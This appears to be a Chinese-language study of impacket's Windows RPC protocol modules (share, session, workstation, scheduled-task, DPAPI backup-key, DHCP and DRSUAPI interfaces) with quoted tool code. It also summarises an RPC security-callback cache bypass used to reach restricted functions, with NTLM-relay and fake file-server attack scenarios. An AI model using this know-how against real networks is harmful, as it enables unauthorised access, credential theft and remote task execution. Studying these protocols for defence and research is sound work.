16 : (NetrShareGetInfo, NetrShareGetInfoResponse),从ShareList检索有关服务器上特定共享资源的信息
17 : (NetrShareSetInfo, NetrShareSetInfoResponse),在 ShareList 中设置共享资源的参数
18 : (NetrShareDel, NetrShareDelResponse),从 ShareList 中删除共享名称,这会断开与共享资源的所有连接。如果共享是粘性的,则有关该共享的所有信息也会从永久存储中删除
19 : (NetrShareDelSticky, NetrShareDelStickyResponse),清除 ShareList 中 Share 的IsPersistent成员将共享标记为非持久
20 : (NetrShareCheck, NetrShareCheckResponse),检查服务器是否正在共享设备
21 : (NetrServerGetInfo, NetrServerGetInfoResponse),检索 CIFS 和 SMB 1.0 版服务器的当前配置信息
22 : (NetrServerSetInfo, NetrServerSetInfoResponse),为 CIFS 和 SMB 1.0 版文件服务器设置服务器操作参数;它可以单独或共同设置它们。信息的存储方式使其在系统重新初始化后仍然有效
23 : (NetrServerDiskEnum, NetrServerDiskEnumResponse),检索服务器上的磁盘驱动器列表。该方法返回一个由三个字符组成的字符串数组(一个驱动器号、一个冒号和一个终止空字符)。
24 : (NetrServerStatisticsGet, NetrServerStatisticsGetResponse),检索服务的操作统计信息
25 : (NetrServerTransportAdd, NetrServerTransportAddResponse),将服务器绑定到传输协议
26 : (NetrServerTransportEnum, NetrServerTransportEnumResponse),枚举有关服务器在TransportList中管理的传输协议的信息
27 : (NetrServerTransportDel, NetrServerTransportDelResponse),从服务器解除绑定(或断开连接)传输协议。如果此方法成功,服务器将无法再使用指定的传输协议(如 TCP 或 XNS)与客户端通信。
28 : (NetrRemoteTOD, NetrRemoteTODResponse),返回服务器上的时间信息
30 : (NetprPathType, NetprPathTypeResponse),检查路径名以确定其类型
31 : (NetprPathCanonicalize, NetprPathCanonicalizeResponse),将路径名转换为规范格式
32 : (NetprPathCompare, NetprPathCompareResponse),执行两条路径的比较
33 : (NetprNameValidate, NetprNameValidateResponse),执行检查以确保指定的名称是指定类型的有效名称
34 : (NetprNameCanonicalize, NetprNameCanonicalizeResponse),将名称转换为指定类型的规范格式
35 : (NetprNameCompare, NetprNameCompareResponse),对特定名称类型的两个名称进行比较
36 : (NetrShareEnumSticky, NetrShareEnumStickyResponse),检索有关其 IsPersistent 设置在 ShareList 中设置的每个粘性共享资源的信息
37 : (NetrShareDelStart, NetrShareDelStartResponse),执行两阶段共享删除的初始阶段
38 : (NetrShareDelCommit, NetrShareDelCommitResponse),执行两阶段共享删除的最后阶段
39 : (NetrpGetFileSecurity, NetrpGetFileSecurityResponse),向调用者返回保护文件或目录的安全描述符的副本
40 : (NetrpSetFileSecurity, NetrpSetFileSecurityResponse),设置文件或目录的安全性
41 : (NetrServerTransportAddEx, NetrServerTransportAddExResponse),将指定的服务器绑定到传输协议
43 : (NetrDfsGetVersion, NetrDfsGetVersionResponse),检查服务器是否是DFS服务器,如果是则返回 DFS 版本
44 : (NetrDfsCreateLocalPartition, NetrDfsCreateLocalPartitionResponse),将共享标记为DFS共享
45 : (NetrDfsDeleteLocalPartition, NetrDfsDeleteLocalPartitionResponse),删除服务器上的DFS 共享
46 : (NetrDfsSetLocalVolumeState, NetrDfsSetLocalVolumeStateResponse),将本地DFS 共享设置为联机或脱机。
48 : (NetrDfsCreateExitPoint, NetrDfsCreateExitPointResponse),在服务器上创建一个DFS 链接
49 : (NetrDfsDeleteExitPoint, NetrDfsDeleteExitPointResponse),删除服务器上的DFS 链接
50 : (NetrDfsModifyPrefix, NetrDfsModifyPrefixResponse),更改对应于服务器上DFS链接的路径
51 : (NetrDfsFixLocalVolume, NetrDfsFixLocalVolumeResponse),提供 服务器上新DFS 共享的信息
52 : (NetrDfsManagerReportSiteInfo, NetrDfsManagerReportSiteInfoResponse),获取应该对应于指定服务器覆盖的 Active Directory站点
53 : (NetrServerTransportDelEx, NetrServerTransportDelExResponse),服务器在 RPC_REQUEST 数据包中接收 NetrServerTransportDelEx 方法。作为响应,服务器从服务器解除绑定(或断开连接)传输协议。如果此方法成功,服务器将无法再 使用指定的传输协议(如 TCP 或 XNS)与客户端通信
54 : (NetrServerAliasAdd, NetrServerAliasAddResponse),将别名附加到现有服务器名称并将别名对象插入AliasList中,通过它可以使用服务器名称或别名访问共享资源。别名用于根据每个树连接请求中显示的服务器名称来标识哪些资源对SMB客户端可见。
55 : (NetrServerAliasEnum, NetrServerAliasEnumResponse),根据指定的别名或服务器名称检索服务器的别名信息
56 : (NetrServerAliasDel, NetrServerAliasDelResponse),根据指定的别名从服务器别名列表中删除别名
57 : (NetrShareDelEx, NetrShareDelExResponse),从ShareList中删除共享,这会断开与共享资源的所有连接。如果共享是粘性的,则有关该共享的所有信息也会从永久存储中删除。
}
在 smbclient 与 smbconnection 中,都通过 srvs 来获取目标的共享信息:
# eg./impacket/smbconnection.py
def listShares(self):
"""
get a list of available shares at the connected target
:return: a list containing dict entries for each share
:raise SessionError: if error
"""
# Get the shares through RPC
from impacket.dcerpc.v5 import transport, srvs
rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce, 1)
return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']
# eg./examples/smbclient.py
def do_info(self, line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
Cold Hard Cache — Bypassing RPC Interface Security with Cache Abuse
安全回调允许 RPC 服务器开发人员限制对 RPC 接口的访问。它允许他们应用自己的逻辑来允许特定用户的访问权限、实施身份验证或传输类型,或阻止对特定 opnums 的访问(用 opnums 表示服务器公开的函数;即操作编号)。 每次客户端调用服务器上公开的函数时,RPC 运行时都会触发此回调。

RPC runtime实施了安全回调结果缓存,以提高性能和利用率。这本质上意味着,runtime在每次调用安全回调之前都会尝试使用缓存条目。我们来深入了解一下此实施。
在 RPC_INTERFACE::DoSyncSecurityCallback 调用安全回调之前,它首先检查是否存在缓存条目。它通过调用 OSF_SCALL::FindOrCreateCacheEntry 来实现此目的。
OSF_SCALL::FindOrCreateCacheEntry 执行以下操作:
- 它从 SCALL(一个代表客户端调用的对象)获取客户端的安全上下文。
- 它从客户端的安全上下文获取缓存字典。
- 它使用接口指针作为字典的键。值是缓存条目。
- 如果没有缓存条目存在,它会创建一个。
为了使缓存正常运行, 服务器和客户端都需要注册并设置身份验证信息。
SSPI 多路复用
在注册身份验证信息的过程中,服务器必须指定要使用的身份验证服务。身份验证服务是一个 安全支持提供程序 (SSP),它是一个软件包,可处理从客户端收到的身份验证信息。在大多数情况下,这将是 NTLM SSP、Kerberos SSP 或 Microsoft Negotiate SSP,该服务会在 Kerberos 和 NTLM 之间选择最佳的可用选项。
RPC runtime在全局范围内保存身份验证信息。这意味着,如果两个 RPC 服务器共享同一个进程,并且其中一个注册了身份验证信息,则另一个服务器也会具有身份验证信息。客户端现在可以在访问每一个服务器的时候对绑定进行身份验证
srvsvc 的安全回调具有以下逻辑:
- 如果远程客户端尝试访问 64-73(含)范围内的函数,则拒绝访问
- 如果非集群账户的远程客户端尝试访问 58-63(含)范围内的函数,则拒绝访问
因此,从本质上讲,远程客户端会被阻止访问接口的这些特定函数。此范围检查提示受限制的函数存在敏感因素,应仅由预期的(本地)进程调用。
尽管此检查试图阻止对这些函数的远程访问,但远程攻击者可以通过滥用缓存来绕过此检查。首先,远程攻击者调用一个不在此范围内的函数,即一个远程可用的函数。由于安全回调函数返回 RPC_S_OK,RPC 运行时会将此结果作为一个成功的结果进行缓存。由于接口没有使用 RPC_IF_SEC_CACHE_PER_PROC 标志注册,因此缓存将基于接口。因此,下次攻击者在同一接口上调用 任何 函数时,将使用该缓存条目并允许访问。这意味着,攻击者现在可以调用他们不应具有访问权限的本地函数,而安全回调根本就不会被调用。
Srvsvc 不注册身份验证信息,因此,在正常情况下,客户端无法对绑定进行身份验证,因此缓存也就无法启用。事实证明,当服务器机器的内存小于 3.5 GB 时, Srvsvc 与其他服务共享同一个 svchost 进程。“AD Harvest Sites and Subnets Service”和“Remote Desktop Configuration service”服务 可注册身份验证信息,因此,srvsvc 现在容易受到缓存攻击。
在这种特定情况下,攻击者可以访问 opnums 为 58-74 的受限制函数。攻击者可以利用这些函数做的其中一件事是 强迫进行远程机器身份验证。
WksSvc 会公开 MS-WKST 接口。该服务负责管理域成员资格、计算机名称和到 SMB 网络重定向器的连接,比如 SMB 打印机服务器。通过查看接口的安全回调,我们可以看到,有几个函数的处理方式与其他的不同。opnum 在 8-11 之间的函数也被选为由本地客户端调用,这意味着不允许远程调用它们。但是,由于我们拥有缓存,我们先调用一个允许远程调用的不同函数,然后再调用其中一个受限制的函数,我们可以远程调用本地受限的函数,因为第一个调用的结果已缓存。
当多个 RPC 服务器位于同一进程中时,该进程中的所有 RPC 接口都会暴露在该进程已注册的所有协议序列上。因此,如果一个组件只为 LRPC 调用实现,它不一定只能通过 LRPC 访问——它可以通过其他协议访问,因为进程中的其他 RPC 服务器可能正在侦听管道或套接字。
与上下文句柄的情况类似,即使不在进程中注册另一个端点,也不意味着该进程不会暴露另一个端点。不管你如何注册你的服务器,你的接口和你的端点之间没有特殊的关联;所有接口都可以在该进程的所有端点上调用。这是端点安全模型无效的另一个原因;如果安全描述符被放置在端点上,攻击者可以调用另一个端点上的接口。
为确保仅在特定协议序列上调用进程,请注册安全回调函数,并在该函数中检查调用的协议序列。
公开的函数包括 NetrUseAdd、 NetrUseGetInfo、 NetrUseDel和 NetrUseEnum。我们可以向 NetrUseAdd 传递一些标记,指示它在“全局”域名空间创建映射,这将影响所有用户。可以在可用的标头文件 LMUse.h 中找到这些标记:

这给了我们两种攻击方案:
1.我们可以要求对我们的共享文件夹进行身份验证;然后我们可以把它中继到不同的服务器,进行 NTLM 中继攻击,或者存储令牌并离线破解密码。
2.或者我们可以用有趣或有用的文件来伪装现有的文件服务器(或假装是新的文件服务器)。由于这些文件在我们的控制之下,我们可以按照我们认为合适的方式将其作为攻击武器,希望它们能让我们感染目标用户。
WksSvc 下的 RPC 服务器本身并不执行任何身份验证注册。如果服务是独立运行的,则无法进行客户端身份验证(会导致错误 RPC_S_UNKNOWN_AUTHN_SERVICE)。因此,我们需要让该服务与其他服务一起运行,以便同时滥用 SSPI 多路复用。 这将受影响的 Windows 版本限制为 Windows 10 版本 1703 之前的版本,或运行内存小于 3.5 GB 的较新版本。
PoC:https://github.com/akamai/akamai-security-research/tree/main/PoCs/cve-2022-38034
[MS-TSTS] tsts.py — 终端服务会话管理
终端服务终端服务器runtime接口协议(Terminal Services Terminal Server Runtime)。终端服务终端服务器runtime接口协议是一种基于 RPC 的协议,用于远程查询和配置终端服务器的各个方面。
模块没有提供方法操作数的枚举变量,结合 Windows 手册与源码可以看到,它实现了本地会话管理服务器(\TermSrv)客户端 / 服务器两侧的方法:
3.3.4.1.1 RpcOpenSession (Opnum 0)返回终端服务器 上指定会话的句柄。调用此方法不需要特殊权限
3.3.4.1.2 RpcCloseSession (Opnum 1)关闭与终端服务器上指定会话的连接。此方法必须在RpcOpenSession之后调用。如果有多个线程在运行,则必须序列化对该方法的调用,否则该函数的行为是未知的。调用此方法不需要特殊权限。
3.3.4.1.3 RpcConnect(Opnum 2)将 RpcOpenSession 返回的会话句柄 重新连接到终端服务器上的另一个指定会话
3.3.4.1.4 RpcDisconnect (Opnum 3)断开终端服务器上的指定会话。
3.3.4.1.5 RpcLogoff(Opnum 4)注销终端服务器上的指定会话
3.3.4.1.6 RpcGetUserName (Opnum 5)获取登录到终端服务器 上指定会话的用户的用户名和域名
3.3.4.1.7 RpcGetTerminalName (Opnum 6)获取与终端服务器上指定会话关联的终端的名称
3.3.4.1.8 RpcGetState (Opnum 7)获取终端服务器上指定会话的状态
3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)检查终端服务器上的指定会话是否处于锁定状态
3.3.4.1.10 RpcShowMessageBox (Opnum 9)在终端服务器上运行的目标用户会话中显示一个带有指定消息和标题的消息框
3.3.4.1.11 RpcGetTimes (Opnum 10)获取终端服务器上指定会话的连接、断开和登录时间
3.3.4.1.12 RpcGetSessionCounters (Opnum 11)返回与终端服务器关联的各种性能计数器。调用此方法不需要特殊权限
3.3.4.1.13 RpcGetSessionInformation(Opnum 12)检索有关在终端服务器上运行的指定会话的信息。呼叫者必须具有会话的 WINSTATION_QUERY 权限
3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)获取用户连接和设备连接的会话数。调用此方法不需要特殊权限
3.3.4.1.15 RpcGetSessionType (Opnum 16)获取与指定会话关联的类型。调用此方法不需要特殊权限
3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)检索有关在终端服务器上运行的指定会话的扩展信息。呼叫者必须对会话具有 WINSTATION_QUERY 权限
.........
具体利用在/examples/tstool.py中
# 终端服务操作工具。
# qwinsta:显示有关远程桌面服务会话的信息。
#tasklist:显示系统中当前正在运行的进程列表。
# taskkill:通过进程 ID (PID) 或映像名称终止任务
# tscon:将用户会话附加到远程桌面会话
# tsdiscon:断开远程桌面服务会话
# tslogoff:注销远程桌面服务会话
# shutdown:关闭、重启或注销本地/远程计算机
# msg:向远程桌面服务会话 (MSGBOX) 发送消息
[MS-WKST] wkst.py — 工作站服务(登录用户枚举)
工作站服务远程协议,用于远程查询和配置远程计算机上 SMB 重定向器的某些方面。官方描述比较笼统,直接看模块实现了哪些接口方法:
OPNUMS = {
0 : (NetrWkstaGetInfo, NetrWkstaGetInfoResponse),返回有关远程计算机配置的详细信息,包括计算机名称和操作系统的主要和次要版本号
1 : (NetrWkstaSetInfo, NetrWkstaSetInfoResponse),根据调用中传递的信息结构配置远程计算机
2 : (NetrWkstaUserEnum, NetrWkstaUserEnumResponse),返回有关当前在远程计算机上处于活动状态的用户的详细信息
5 : (NetrWkstaTransportEnum, NetrWkstaTransportEnumResponse),提供有关远程计算机上的SMB 网络重定向器当前启用的传输协议的详细信息
6 : (NetrWkstaTransportAdd, NetrWkstaTransportAddResponse),使SMB网络重定向器能够在远程计算机上使用传输协议
# 7 : (NetrWkstaTransportDel, NetrWkstaTransportDelResponse),
8 : (NetrUseAdd, NetrUseAddResponse),在工作站服务器和 SMB 服务器之间建立连接。工作站服务器不应允许远程调用此方法
9 : (NetrUseGetInfo, NetrUseGetInfoResponse),从远程工作站检索有关与 SMB 服务器上共享资源的连接的详细信息。服务器不应允许远程调用此方法
10 : (NetrUseDel, NetrUseDelResponse),终止从工作站服务器到 SMB 服务器上共享资源的连接。服务器不应该允许远程调用此方法
11 : (NetrUseEnum, NetrUseEnumResponse),列出工作站服务器和远程 SMB 服务器之间的打开连接。服务器不应允许远程调用此方法
13 : (NetrWorkstationStatisticsGet, NetrWorkstationStatisticsGetResponse),返回有关远程计算机上SMB 网络重定向器的各种统计信息
20 : (NetrGetJoinInformation, NetrGetJoinInformationResponse),检索有关指定计算机加入的工作组或域的详细信息
22 : (NetrJoinDomain2, NetrJoinDomain2Response),使用加密凭据将计算机加入域或工作组
23 : (NetrUnjoinDomain2, NetrUnjoinDomain2Response),使用加密凭据使计算机脱离工作组或域
24 : (NetrRenameMachineInDomain2, NetrRenameMachineInDomain2Response),使用加密凭据来更改本地持久变量ComputerNameNetBIOS并可选择重命名当前在域中的服务器的计算机账户,而无需先从域中删除计算机然后再将其添加回来
25 : (NetrValidateName2, NetrValidateName2Response),验证计算机、工作组或域名的有效性
26 : (NetrGetJoinableOUs2, NetrGetJoinableOUs2Response),返回一个组织单元 (OU)列表,用户可以在其中创建对象
27 : (NetrAddAlternateComputerName, NetrAddAlternateComputerNameResponse),为指定服务器添加备用名称
28 : (NetrRemoveAlternateComputerName, NetrRemoveAlternateComputerNameResponse),删除指定服务器的备用名称
29 : (NetrSetPrimaryComputerName, NetrSetPrimaryComputerNameResponse),设置指定服务器的主计算机名称
30 : (NetrEnumerateComputerNames, NetrEnumerateComputerNamesResponse), 返回指定服务器的计算机名称列表,查询结果由名称类型决定
}
examples/netview.py 利用该接口的 hNetrWkstaUserEnum 方法获取当前登录用户:
def getLoggedIn(self, target):
if self.__targets[target]['Admin'] is False:
return
if self.__targets[target]['WKST'] is None:
stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
if hasattr(rpctransportWkst, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransportWkst.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
self.__maxConnections -= 1
else:
dce = self.__targets[target]['WKST']
try:
resp = wkst.hNetrWkstaUserEnum(dce,1)
except Exception as e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
self.__targets[target]['WKST'] = None
self.__maxConnections += 1
return
elif str(e).upper().find('ACCESS_DENIED'):
# We're not admin, bye
dce.disconnect()
self.__maxConnections += 1
self.__targets[target]['Admin'] = False
return
else:
raise
examples/secretsdump.py 中则用它查看计算机信息:
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\wkssvc]' % self.__smbConnection.getRemoteHost())
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
'wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
MS-TSCH 计划任务(atsvc / sasec / tsch)
MS-TSCH 计划任务 RPC 接口,用于注册和配置任务或查询远程服务器上正在运行的任务的状态,主要由三个独立的远程过程调用 (RPC) 接口组成:
- Net Schedule (ATSvc) 对任务进行增删改查
- Task Scheduler Agent (SASec) 对账户信息进行操作
- Windows Vista operating system Task Remote Protocol (ITaskSchedulerService) 对任务进行增删改查,但不通过远程注册表和文件系统协议,而是用 xml 格式来配置任务
atsvc.py
是 Net Schedule(ATSvc)的 py 模块,文件开头定义了接口的 UUID:
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
- 名称: ATSvc
- UUID:1ff70682-0a51-30e8-076d-740be8cee98b
- 文件路径:C:\Windows\System32\ taskcomp.dll
接着定义了接口使用的静态flag参数,和增删改查等功能请求的结构体以及请求包构造函数
class NetrJobAdd(NDRCALL):
opnum = 0
structure = (
('ServerName',ATSVC_HANDLE),
('pAtInfo', AT_INFO),
)
.......
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
netrJobAdd = NetrJobAdd()
netrJobAdd['ServerName'] = serverName
netrJobAdd['pAtInfo'] = atInfo
return dce.request(netrJobAdd)
RPC 客户端
- mstask.dll
- schedcli.dll
sasec.py
Task Scheduler Agent (SASec) 接口的功能实现模块
- 名称: SASec
- UUID:378E52B0-C0A9-11CF-822D-00AA0051E40F
- 文件路径:C:\Windows\System32\ taskcomp.dll
主要是涉及到账户信息修改的计划任务,要求客户端还使用 Windows 远程注册表协议规范MSRRP
class SASetAccountInformation(NDRCALL):
opnum = 0
structure = (
('Handle', PSASEC_HANDLE),
('pwszJobName', WSTR),
('pwszAccount', WSTR),
('pwszPassword', LPWSTR),
('dwJobFlags', DWORD),
)
class SASetAccountInformationResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
.......
def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
request = SASetAccountInformation()
request['Handle'] = handle
request['pwszJobName'] = checkNullString(pwszJobName)
request['pwszAccount'] = checkNullString(pwszAccount)
request['pwszPassword'] = checkNullString(pwszPassword)
request['dwJobFlags'] = dwJobFlags
return dce.request(request)
tsch.py
- Name: ITaskSchedulerService
- UUID: 86d35949-83c9-4044-b424-db363231fd0c
- FilePath: C:\Windows\System32\schedsvc.dll
xml格式如下
<!-- Task -->
<xs:complexType name="taskType">
<xs:all>
<xs:element name="RegistrationInfo" type="registrationInfoType" minOccurs="0"/>
<xs:element name="Triggers" type="triggersType" minOccurs="0"/>
<xs:element name="Settings" type="settingsType" minOccurs="0"/>
<xs:element name="Data" type="dataType" minOccurs="0"/>
<xs:element name="Principals" type="principalsType" minOccurs="0"/>
<xs:element name="Actions" type="actionsType"/>
</xs:all>
<xs:attribute name="version" type="versionType" use="optional"/>
</xs:complexType>
具体的各项参数配置参见文档
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/0d6383e4-de92-43e7-b0bb-a60cfa36379f
模块中主要是各项静态参数配置,各项请求结构体及各项请求包构建函数
这是红队工具中最常用、功能最完善的计划任务接口。impacket 的 ntlmrelayx 中继攻击中,就是使用该模块的 hSchRpcRegisterTask 函数创建计划任务:
# eg./examples/ntlmrelayx/attacks/rpcattack.py
import string
import random
from impacket import LOG
from impacket.dcerpc.v5 import tsch
from impacket.dcerpc.v5.dtypes import NULL
LOG.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
RPC 客户端
- taskcomp.dll
- taskschd.dll
- wmicmiplugin.dll
[MS-BKRP] bkrp.py — 备份密钥协议(DPAPI 域备份)
密钥备份远程协议(Backup Key):客户端在服务器的帮助下加密和解密敏感数据(例如加密密钥)。使用此协议加密的数据只能由服务器解密,因此客户端可以安全地将此类加密数据写入没有特别保护的存储中。在 Windows 中,此协议用于通过Active Directory 域中的数据保护应用程序接口 (DPAPI)提供 用户密钥加密
模块对 backupkey 进行了封装,实现了请求服务端对数据进行打包或解包等接口功能。BackuprKey 方法接口参数如下(注:BackuprKey 为协议文档中的原始拼写):
NET_API_STATUS BackuprKey(
[in] handle_t h,
[in] GUID* pguidActionAgent,
[in, size_is(cbDataIn)] byte* pDataIn,
[in] DWORD cbDataIn,
[out, size_is(,*pcbDataOut)] byte** ppDataOut,
[out] DWORD* pcbDataOut,
[in] DWORD dwParam
);
pguidActionAgent对应各功能uuid如下
| 值 | 含义 |
|---|---|
| BACKUPKEY_BACKUP_GUID 7F752B10-178E-11D1-AB8F-00805F14DB40 | 请求服务器端包装。输入时,pDataIn 必须指向包含要包装的秘密的BLOB 。服务器必须将 pDataIn 视为不透明的二进制数据。在输出时,ppDataOut必须包含以第2.2.4节中指定的格式包装的秘密。详见3.1.4.1.1节。 |
| BACKUPKEY_RESTORE_GUID_WIN2K 7FE94D50-178E-11D1-AB8F-00805F14DB40 | 请求解包服务器端包装的秘密。输入时,pDataIn必须指向包含包装密钥的 BLOB,格式在 2.2.4 节中指定。在输出时,ppDataOut必须包含一个指向解包秘密的指针,由客户端提供给BACKUPKEY_BACKUP_GUID调用。详见3.1.4.1.2节。 |
| BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID 018FF48A-EABA-40C6-8F6D-72370240E967 | 请求服务器的 ClientWrap密钥对的公钥部分。服务器必须忽略pDataIn和cbDataIn参数。在输出时,ppDataOut必须包含一个指向服务器公钥的指针,格式在2.2.1节中指定。详见3.1.4.1.3节。 |
| BACKUPKEY_RESTORE_GUID 47270C64-2FC7-499B-AC5B-0E37CDCE899A | 请求解包在客户端用服务器的公钥包装的秘密。输入时,pDataIn 必须指向一个客户端包装密钥,格式如2.2.2节中指定。在输出时,ppDataOut必须包含一个指向解包秘密的指针,格式如第2.2.3节中指定。详见3.1.4.1.4节。 |
在 impacket 的 tests 目录下可以看到模块调用示例,接口封装如下:
def hBackuprKey(dce, pguidActionAgent, pDataIn, dwParam=0):
request = BackuprKey()
request['pguidActionAgent'] = pguidActionAgent
request['pDataIn'] = pDataIn
if pDataIn == NULL:
request['cbDataIn'] = 0
else:
request['cbDataIn'] = len(pDataIn)
request['dwParam'] = dwParam
return dce.request(request)
# eg./tests/dcerpc/test_bkrp.py
class BKRPTests(DCERPCTests):
iface_uuid = bkrp.MSRPC_UUID_BKRP
string_binding = r"ncacn_np:{0.machine}[\PIPE\protected_storage]"
authn = True
authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
data_in = b"..." # 测试用明文(原文为一长段电影台词,略)
def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):
dce, rpctransport = self.connect()
# ① BACKUPKEY_BACKUP_GUID:请服务端包装秘密
request = bkrp.BackuprKey()
request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID
request['pDataIn'] = self.data_in
request['cbDataIn'] = len(self.data_in)
request['dwParam'] = 0
resp = dce.request(request)
# ② 解析服务端包装出的 WRAPPED_SECRET
wrapped = bkrp.WRAPPED_SECRET()
wrapped.fromString(b''.join(resp['ppDataOut']))
# ③ BACKUPKEY_RESTORE_GUID:包装结果原样送回,服务端解包
request = bkrp.BackuprKey()
request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID
request['pDataIn'] = b''.join(resp['ppDataOut'])
request['cbDataIn'] = resp['pcbDataOut']
request['dwParam'] = 0
resp = dce.request(request)
# ④ 还原结果应等于原始明文
self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))
[MS-DHCPM] dhcpm.py — DHCP 管理协议
在 OPNUMS 中可以看到,dhcpm 模块封装了 DHCP 信息检索相关函数,如 DhcpGetClientInfoV4 等:
OPNUMS = {
0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response),
2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse),
3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse),
13: (DhcpGetOptionValue, DhcpGetOptionValueResponse),
14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse),
21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response),
22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response),
30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse),
34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response),
35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response),
38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response),
47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse),
123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse),
}
tests/dcerpc/test_dhcpm.py 中对访问服务器获取 DHCP 信息进行了测试。目前 impacket 中该模块没有更多应用,后续有相应需求时可以基于它进行扩展。
class DHCPMTests(DCERPCTests):
iface_uuid_v1 = dhcpm.MSRPC_UUID_DHCPSRV
iface_uuid_v2 = dhcpm.MSRPC_UUID_DHCPSRV2
string_binding = r"ncacn_np:{0.machine}[\PIPE\dhcpserver]"
authn = True
authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
def test_DhcpGetClientInfoV4(self):
dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1)
request = dhcpm.DhcpGetClientInfoV4()
request['ServerIpAddress'] = NULL
request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + "\0"
request.dump()
with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
dce.request(request)
[MS-DRSR] drsuapi.py — 目录复制服务(DCSync)
目录复制服务 (DRS) 远程协议是一种RPC 协议,用于在Active Directory中复制和管理数据。该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成。每个 drsuapi 方法的名称以“IDL_DRS”开头,而每个 dsaop 方法的名称以“IDL_DSA”开头。
模块实现了以下几个方法
0 : (DRSBind,DRSBindResponse ),创建一个上下文句柄,它是调用此接口中任何其他方法所必需的
1 : (DRSUnbind,DRSUnbindResponse ),方法销毁先前由IDL_DRSBind方法创建的上下文句柄。
3 : (DRSGetNCChanges,DRSGetNCChangesResponse ),从服务器上的NC 副本复制更新。
12: (DRSCrackNames,DRSCrackNamesResponse ),在目录中查找一组对象 中的每一个,并以请求的格式将其返回给调用者
16: (DRSDomainControllerInfo,DRSDomainControllerInfoResponse ),检索有关给定域中DC的信息
